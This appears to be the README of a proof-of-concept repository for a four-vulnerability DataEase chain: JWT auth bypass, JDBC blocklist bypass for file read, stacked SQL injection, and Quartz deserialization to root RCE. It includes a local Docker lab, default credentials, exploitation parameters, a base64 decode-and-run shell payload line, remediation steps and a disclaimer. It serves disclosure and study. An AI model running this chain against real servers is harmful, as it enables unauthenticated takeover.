EXPLOIT-CVE-2026-40901

Automated exploit for DataEase: 4-vulnerability chain (auth bypass, JDBC blocklist bypass, SQL injection, Java deserialization) achieving unauthenticated RCE. Includes Docker lab and Python PoC.

TL;DR

Lab setup

Everything runs locally in Docker. No external services, no internet target.

Bring it up:

• Web UI / API: http://localhost:8100 (API prefix /de2api)
• Default creds shipped by DataEase: admin / DataEase@123456
• The DataEase JVM runs as root inside its container — so our shell is root.

Requirements on the host: Docker, Python 3.8+ with cryptography (pip install -r exploit/requirements.txt), and the Docker CLI (used to run ysoserial in a throwaway eclipse-temurin:8-jre container to build the gadget).

The chain, step by step

1. CVE-2026-23958 — authentication bypass

DataEase authenticates requests in a servlet filter, TokenFilter (sdk/common/.../auth/filter/TokenFilter.java). It reads the token and calls TokenUtils.validate(), which ends up in:

JWT.decode() never verifies the signature. The only checks are: the token is ≥ 100 characters and carries an integer uid claim. So any JWT that says "uid": 1 makes the request run as the built-in administrator (uid 1).

There is a second filter (CommunityTokenFilter) that does verify a signature for the X-DE-TOKEN header — but only under specific conditions, and the signing key is either a per-user secret or, in a plain community build, the MD5 of the hardcoded default password DataEase@123456 (SubstituleLoginConfig → dataease.default-pwd). The companion share-link path (X-DE-LINK-TOKEN) is signed with the hardcoded key link-pwd-fit2cloud (LinkTokenUtil.defaultPwd) and, pre-fix, was likewise decoded without verification.

Net effect: an attacker can mint an administrator token. de_common.py includes forge_jwt() which produces the signature-less token; the PoC also supports simply logging in with the ubiquitous default credentials to obtain a fully valid X-DE-TOKEN for the rest of the chain.

The fix (commit 00c169caa) makes TokenFilter look up the real per-resource secret and actually call verifier.verify(...).

2. CVE-2026-40899 — JDBC blocklist bypass → arbitrary file read

When you add a MySQL datasource, DataEase refuses a set of dangerous JDBC parameters. That blocklist lives in a Lombok @Data field:

Because @Data auto-generates setIllegalParameters(...), Jackson will happily populate it from attacker-controlled JSON. Sending "illegalParameters": [] in the (Base64-encoded) configuration blob empties the blocklist before it is checked. We can then point the datasource at a rogue MySQL server with allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/ and read arbitrary files off the DataEase host via the MySQL LOCAL INFILE mechanism.

Result — DataEase hands us its own backend DB credentials:

Those credentials are what an attacker uses to point step 3 at DataEase's own database. The fix (commit 16a950f96) adds @JsonIgnore to every illegalParameters field so it can no longer be set from JSON.

3. CVE-2026-40900 — SQL injection (stacked queries) in previewSql

POST /de2api/datasetData/previewSql takes a Base64-encoded SQL string and, with no single-statement validation, wraps it as a subquery:

Comments are stripped, but we can balance the parentheses and use ; to run extra statements. Because we control the datasource, we enable allowMultiQueries=true (not on the blocklist in v2.10.20), so stacked queries execute:

which the server assembles into three real statements. Pointing this datasource at DataEase's own database (creds from step 2) lets us write into its Quartz tables. Fixes: 15611593b adds allowMultiQueries to the blocklist and e89059d88 hardens the save/engine flow.

4. CVE-2026-40901 — Quartz deserialization → RCE

DataEase schedules a recurring "datasource status check" Quartz job:

• scheduler deSyncJob, job Datasource / check_status, class io.dataease.job.schedule.CheckDsStatusJob
• cron 0 0/6 * * * ? * (default: every 6 minutes)

Quartz uses a JDBC job store with useProperties=false, so each job's JobDataMap is stored in the QRTZ_JOB_DETAILS.JOB_DATA column as a raw Java-serialized object (you can see it: the blob starts with the serialization magic AC ED 00 05 … org.quartz.JobDataMap). When the scheduler scans for triggers it does, in StdJDBCDelegate.selectJobDetail:

DataEase bundles commons-collections-3.2.1.jar (and velocity-1.7.jar) — classic deserialization gadget sources. Using step 3 we overwrite JOB_DATA with a ysoserial CommonsCollections6 payload (and, in the same stacked query, pull the trigger's NEXT_FIRE_TIME to now so we don't wait for the 6-minute cron). On the next scheduler scan, readObject() fires the gadget chain (LazyMap → InvokerTransformer → Runtime.exec) and our command runs — as root, inside the container. The fix set (e05bda764, …) removes the vulnerable Velocity dependency and the reachability of the sink.

The PoC generates the gadget for you (busybox-friendly command wrapping — the target shell is Alpine ash and Runtime.exec gets no shell, so we use sh -c echo${IFS}<b64>|base64${IFS}-d|sh).

Running the PoC

Reset the poisoned Quartz job between runs (optional):

Files

Why it's "meaty"

• Java deserialization is the timeless bug class — here reached through an unusual sink (a Quartz JDBC job-store BLOB) rather than an HTTP body.
• It's a genuine four-bug chain: each link is individually modest, but composed they go from unauthenticated network access to root RCE.
• Everything is open-source and self-hostable, so the whole thing is reproducible on a laptop with Docker — exactly what you want for a writeup.

Remediation

• Upgrade to DataEase ≥ v2.10.21.
• Rotate the default admin password (DataEase@123456) immediately.
• Don't expose DataEase directly to untrusted networks.
• Defense-in-depth for the sink: run Quartz with useProperties=true, apply a JVM deserialization filter (-Djdk.serialFilter=…), and drop commons-collections:3.2.1 / velocity:1.7 from the classpath.

Disclaimer

For education and authorized testing only. The lab targets a container you run yourself. Do not point any of this at systems you don't own or have explicit written permission to test.

References

• OX Security — From Auth Bypass to RCE: A 4-Vulnerability Exploit Chain in DataEase
• NVD / vendor advisory — CVE-2026-40901, CVE-2026-40900, CVE-2026-40899, CVE-2026-23958
• Fix commits: 00c169caa, 16a950f96, 15611593b, e89059d88, e05bda764 (DataEase v2.10.20..v2.10.21)